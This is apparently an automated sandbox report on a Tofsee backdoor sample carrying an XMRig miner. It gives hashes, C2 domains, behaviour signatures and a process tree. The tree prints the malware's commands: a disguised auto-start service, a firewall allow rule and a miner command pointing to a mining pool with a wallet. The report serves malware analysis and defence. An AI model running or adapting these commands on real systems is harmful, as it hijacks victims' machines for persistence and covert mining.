Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/04/2023, 03:42

General

  • Target

    file.exe

  • Size

    348KB

  • MD5

    ab34b13392e607a878a108d6705e3907

  • SHA1

    f3af29d68d7c99b594bb2b9de122824eae3ed343

  • SHA256

    e5988d6453c4830066089250a0a014265e6275e2b8598dee940b56b34410cbe6

  • SHA512

    43bc4575fe434ac83a2070ad5faf5b516bdaff2e20230ff6fb193f46bf876b0b7d107a89299353c7754b90ccaa4e4418ade2344258227694bee05e08458e5ebc

  • SSDEEP

    6144:z46ChoCA3cTwoUNwMXGi7BbCu1B8hy0Hbe4:z4LhltTwoUN7XBohtHq4

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3748
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\yauyeeyl\
      2⤵
        PID:4164
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\coerfewa.exe" C:\Windows\SysWOW64\yauyeeyl\
        2⤵
          PID:4828
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create yauyeeyl binPath= "C:\Windows\SysWOW64\yauyeeyl\coerfewa.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3744
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description yauyeeyl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start yauyeeyl
          2⤵
          • Launches sc.exe
          PID:5088
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4420
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3748 -s 1168
          2⤵
          • Program crash
          PID:3128
      • C:\Windows\SysWOW64\yauyeeyl\coerfewa.exe
        C:\Windows\SysWOW64\yauyeeyl\coerfewa.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4300
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3536
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4624
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 508
          2⤵
          • Program crash
          PID:4576
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3748 -ip 3748
        1⤵
          PID:4220
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 4300 -ip 4300
          1⤵
            PID:1416

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\coerfewa.exe

            Filesize

            14.7MB

            MD5

            a1ddcf8e0712d7945c8e4c9ea48a4363

            SHA1

            28ee521a38a36ebb08bc8339697a8c39f8a2c8ec

            SHA256

            1b0114a50b666ca030c2a7e1c639d183d6a2a6056a5a03680e748dbe3b9a5ea4

            SHA512

            4990642dcbc395a6dd0445059a2664263caf240d719500d2c17fdacf891f8d20ce27f4146089cde51d1e04740902f13e8e4fec7e666fb775b9d2bfd98bd1a010

          • C:\Windows\SysWOW64\yauyeeyl\coerfewa.exe

            Filesize

            14.7MB

            MD5

            a1ddcf8e0712d7945c8e4c9ea48a4363

            SHA1

            28ee521a38a36ebb08bc8339697a8c39f8a2c8ec

            SHA256

            1b0114a50b666ca030c2a7e1c639d183d6a2a6056a5a03680e748dbe3b9a5ea4

            SHA512

            4990642dcbc395a6dd0445059a2664263caf240d719500d2c17fdacf891f8d20ce27f4146089cde51d1e04740902f13e8e4fec7e666fb775b9d2bfd98bd1a010

          • memory/3536-167-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-168-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-169-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-143-0x0000000000EF0000-0x0000000000F05000-memory.dmp

            Filesize

            84KB

          • memory/3536-184-0x0000000002FE0000-0x0000000002FE7000-memory.dmp

            Filesize

            28KB

          • memory/3536-145-0x0000000000EF0000-0x0000000000F05000-memory.dmp

            Filesize

            84KB

          • memory/3536-146-0x0000000000EF0000-0x0000000000F05000-memory.dmp

            Filesize

            84KB

          • memory/3536-148-0x0000000000EF0000-0x0000000000F05000-memory.dmp

            Filesize

            84KB

          • memory/3536-149-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/3536-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/3536-153-0x0000000002360000-0x0000000002366000-memory.dmp

            Filesize

            24KB

          • memory/3536-156-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-159-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-160-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-161-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-162-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-163-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-164-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-165-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-166-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-183-0x0000000007A80000-0x0000000007E8B000-memory.dmp

            Filesize

            4.0MB

          • memory/3536-180-0x0000000007A80000-0x0000000007E8B000-memory.dmp

            Filesize

            4.0MB

          • memory/3536-140-0x0000000000EF0000-0x0000000000F05000-memory.dmp

            Filesize

            84KB

          • memory/3536-171-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-170-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-172-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-173-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-174-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-175-0x0000000002370000-0x0000000002380000-memory.dmp

            Filesize

            64KB

          • memory/3536-176-0x0000000002FD0000-0x0000000002FD5000-memory.dmp

            Filesize

            20KB

          • memory/3536-179-0x0000000002FD0000-0x0000000002FD5000-memory.dmp

            Filesize

            20KB

          • memory/3748-135-0x0000000000910000-0x0000000000923000-memory.dmp

            Filesize

            76KB

          • memory/3748-138-0x0000000000400000-0x00000000007FC000-memory.dmp

            Filesize

            4.0MB

          • memory/4300-144-0x0000000000400000-0x00000000007FC000-memory.dmp

            Filesize

            4.0MB

          • memory/4624-188-0x0000000000C20000-0x0000000000D11000-memory.dmp

            Filesize

            964KB

          • memory/4624-193-0x0000000000C20000-0x0000000000D11000-memory.dmp

            Filesize

            964KB

          • memory/4624-194-0x0000000000C20000-0x0000000000D11000-memory.dmp

            Filesize

            964KB

          • memory/4624-195-0x0000000000C20000-0x0000000000D11000-memory.dmp

            Filesize

            964KB

          • memory/4624-196-0x0000000000C20000-0x0000000000D11000-memory.dmp

            Filesize

            964KB

          • memory/4624-198-0x0000000000C20000-0x0000000000D11000-memory.dmp

            Filesize

            964KB

          • memory/4624-199-0x0000000000C20000-0x0000000000D11000-memory.dmp

            Filesize

            964KB

          • memory/4624-197-0x0000000000C20000-0x0000000000D11000-memory.dmp

            Filesize

            964KB